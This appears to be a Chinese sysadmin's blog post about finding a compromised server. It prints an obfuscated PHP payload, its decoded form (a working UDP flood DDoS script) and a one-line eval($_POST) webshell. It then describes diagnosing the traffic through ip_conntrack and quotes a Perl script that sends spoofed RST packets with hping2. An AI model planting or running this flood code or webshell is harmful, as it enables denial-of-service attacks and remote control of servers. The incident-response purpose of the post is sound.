eval(gzinflate(base64_decode('DZNHkqNIAADv85HpDg4tTGFidrYDCRBOOOEvG5gqrPBOvH77CRmZ+f3vP99DOfz6Bbek/SjOqkNtssCPNJkhTf2Xw6zP4cdvIbfUZlQ1XhQchHDF3z39Ldpx33Lk9Xm78dUoCHeKfilO46tqg21DiEg+BCTz9QW/GD+lMGtThrSmdSEMLbVkzvPt3s0UMS3mDx0WoG2nY+gB2L+fufDyzPU6gNJxAYSarbsanhimzJbUoqZuY0+lV4H6GZtDX9LxkE9L29swfGYibUTtUsoPqIRi7nFBpdmW0t5ECFWjzmfZe2xqERmtMLVpOqnY436BfrDxK10KYOfGAWN7s3geqB7RdV7WkxiBHZU4wyW0LXsmyTdcdwk3TOjduh1F8cyvsgYuaejeLi23csLONsqDsU3gx60zLlm5XQ9jqhbyq949qvb2Us1dqsAGpYvfG3IHY4TxaemBF2mKKY9StKJuDDHxfmI3z+eWa7OwlgvrxeB5Qz4AE2drfLAYmo6litZOUL1GxMlavOlDW8/OMb7ci13dLk1y9XDddGgA4onEBZ0vmx8aSWApy6q2JkpO0i8kg1qOx7EVPgEJNSOLyzZIW8ApDL+V0/0Fstph3qQI+1qQuCwxiZH1aaTMKJItxW5rmz4WyrGmOKCUtLvAU2dle3a85a0GJJQWOGX5AnHiILQpplJ9mdpdQsw9TybO4whCCMqjfgOuSJ+rRT+2Ok8rbc/oVd47v+J02tAy9fkMTP2u8HuUo1Ezp5F3XCMyL6ftJAkw+h+R1ljN0M0NYS/TXCpeY1tyOl7Awe8dP5ygq1VxAFoEKQD6EGdWsWMeBzSruEjIQeRbtgx0oRpw2CnKoxFs/KdiQauXc26QYtLSbeaxiAWLeq784jjWnubV2kpIarL4bMVgNxv+9QwM8j1FvNR1yGa9lVsF1hM63tSpymtn4k1QFEGLVowe93kyhxGbRpNXICoPk3oqbB6DL3chsJ4OwQk4FOIc2k4MQ3tKy/vfv78/Pz///Pr+Gfd/')));

几次解密后:

<?php
 
 
$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
 
$exec_time = $_GET['time'];
 
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
 
for($i=0;$i<65535;$i++){
        $out .= "X";
}
while(1){
$packets++;
        if(time() > $max_time){
                break;
        }
 
        $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
        if($fp){
                fwrite($fp, $out);
                fclose($fp);
        }
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>
<?php eval($_POST[ddos])?>

这个文件用fsockopen函数发起udp攻击
之前在hostloc论坛已经看到过有人中过了，不然我还不一定能发现。

从XenCenter看网络流量，看不出哪个占用高了，因为5秒刷新一下，而且流量数据也不是很准。

那就用之前写的网卡当前速度统计脚本吧，修改脚本，设定一个警戒流量，当超过时，把当时情况记录下来。记录下时间和瞬间流量，然后记录下进程列表。试了一下，进程列表看不出异常，想到ip_conntrack，找了好一会儿才想起来这个名，改成记录当时的ip_conntrack，过了一会儿出现记录文件了，有5M多，打开一看1万次的DNS请求，我的妈呀。

由于服务器设定了机房的DNS，所以这1万次DNS请求的流量也会在服务器流量图上。根据机房建议，改/etc/resolv.conf文件，设置dns为本机。

过一会儿，依然有大量本机查询的记录，然后比较平静，因为太晚了。
检查过程中，从/var/log/messages看named的日志时，看到有不大量ftp的失败请求，看上去像暴力猜解，网络真不安全，先装好ssh的denyhosts，发现用来设置ftp的软件没ssh的多，fail2ban是一个，他是通过iptables来屏蔽的，但是又有点想自己写，比较好掌握些。

这个再看吧，先到这里，待续。。。

续：
继续观察，发现大量请求还有udp对别的机器80端口的大量数据包(变成肉鸡了？)，很是悲哀，暂时不知道如何查找占用流量的进程，这个udp dport 80用iptables DROP了。目前情绪稳定。
iptraf这个工具比较强大，但是编译出错，以后再看。

tcp 6 117 SYN_SENT src=192.168.1.6 dst=192.168.1.9 sport=32775 \
dport=22 [UNREPLIED] src=192.168.1.9 dst=192.168.1.6 sport=22 \
dport=32775 use=2

tcp 6 431967 ESTABLISHED src=192.168.18.120 dst=192.168.18.98 sport=1059 dport=22
packets=3287 bytes=262840 src=192.168.18.98 dst=192.168.18.120 sport=22 dport=1059
packets=2863 bytes=439784 [ASSURED] mark=0 secmark=0 use=1
conntrack模块维护的所有信息都包含在这个例子中了，通过它们就可以知道某个特定的连接处于什么状 态。首先显示的是协议，这里是tcp，接着是十进制的6（译者注：tcp的协议类型代码是6）。之后的117是 这条conntrack记录的生存时间，它会有规律地被消耗，直到收到这个连接的更多的包。那时，这个值就会 被设为当时那个状态的缺省值。接下来的是这个连接在当前时间点的状态。上面的例子说明这个包处在状态 SYN_SENT，这个值是iptables显示的，以便我们好理解，而内部用的值稍有不同。SYN_SENT说明我们正在观 察的这个连接只在一个方向发送了一TCP SYN包。再下面是源地址、目的地址、源端口和目的端口。其 中有个特殊的词UNREPLIED，说明这个连接还没有收到任何回应。最后，是希望接收的应答包的信息，他们 的地址和端口和前面是相反的。

连接跟踪记录的信息依据IP所包含的协议不同而不同，所有相应的值都是在头文件linux/include/netfilter-ipv4/ip_conntrack*.h中定义的。IP、TCP、UDP、ICMP协 议的缺省值是在linux/include/netfilter-ipv4/ip_conntrack.h里定义的。具 体的值可以查看相应的协议，但我们这里用不到它们，因为它们大都只在conntrack内部使用。随着状态的 改变，生存时间也会改变。

当一个连接在两个方向上都有传输时，conntrack记录就删除[UNREPLIED]标志，然后重置。在末尾有 [ASSURED]的记录说明两个方向已没有流量。这样的记录是确定的，在连接跟踪表满时，是不会被删除的， 没有[ASSURED]的记录就要被删除。连接跟踪表能容纳多少记录是被一个变量控制的，它可由内核中的ip- sysctl函数设置。默认值取决于你的内存大小，128MB可以包含8192条目录，256MB是16376条。你也可以在 /proc/sys/net/ipv4/ip_conntrack_max里查看、设置。

转自：http://hi.baidu.com/weioip/blog/item/02961246a17bd4016b63e5ae.html

一个perl脚本来清空ip_conntrack.但是我发觉更简单办法是移除ip_conntrack模块.移除时提示有依赖,还是直接service iptables stop来得快.但是要记得,ip_forward也被设为0了,所以该设的全重设
如何清除/proc/net/ip_conntrack的内容？
作者 woflyin
2004-12-09
对于做处于网关地位的机器，其开启了nat功能，那么/proc/net/ip_conntrack是保存的是内网地址和外部地址连接的情况，记录每个连接的周详情况，其内容一般会保持5天，期间重新启动网络并不会有效减少其内容，唯一的办法就是重新启动和增大内存的数量，给监控带来不便，内容很容易满，核心便会报警：
ip_conntrack: table full, dropping packet
解决办法：
1.增加内存：修改/etc/sysctl.conf的配置容量 net.ipv4.ip_conntrack_max=大的数值！
2.隔一段时间重新启动系统，清空ip_conntrack
3.对ip_conntrack编程，读取其内容，匹配指定的ip地址，然后调用发包程式发送RST报文，人为的完成tcp连接。用perl实现，调用了一个外部程式hping2，能够从其主页找到，这个程式就是个构包器

用法：cl.pl ipaddress
#!/usr/bin/perl
$ip = $ARGV[0];
#print $ARGS,$ip;
exit if(!$ip);
open(FH,”ip_conntrack”);
while()
{
if (/^tcp .*ESTABLISHED src=$ip/)
{
#print $_;
@line = split(/=/,$_);
$sip = $line[1];
$sip =~s/ .*//g;
$dip = $line[2];
$dip =~s/ .*//g;
$sport = $line[3];
$sport =~s/ .*//g;
$dport = $line[4];
$dport =~s/ .*//g;
print “$sip:$sport $dip:$dportn”;
`/usr/bin/hping2 $dip -R -s $sport -p $dport -a $sip -k -c 1 >/dev/null 2>/dev/null &`;
}
}

4。问题：通过这个思路，是否能够对消除ddos攻击有一定帮助呢？查询ip_conntrack表，判断syn_SENT标志是否过多，过多就能够采取这样的做法消除他们呢？希望大家讨论，一起进步！

来源: http://www.abc188.com/info/html/wangzhanyunying/jianzhanjingyan/20080417/71130.html

参考了下面文章 http://database.e800.com.cn/articles/2008/821/1219302249705_1.html

更多信息可以参考

http://www.hacker.com.cn/forum/view_126674.html

http://bbs.51cto.com/archiver/tid-137240.html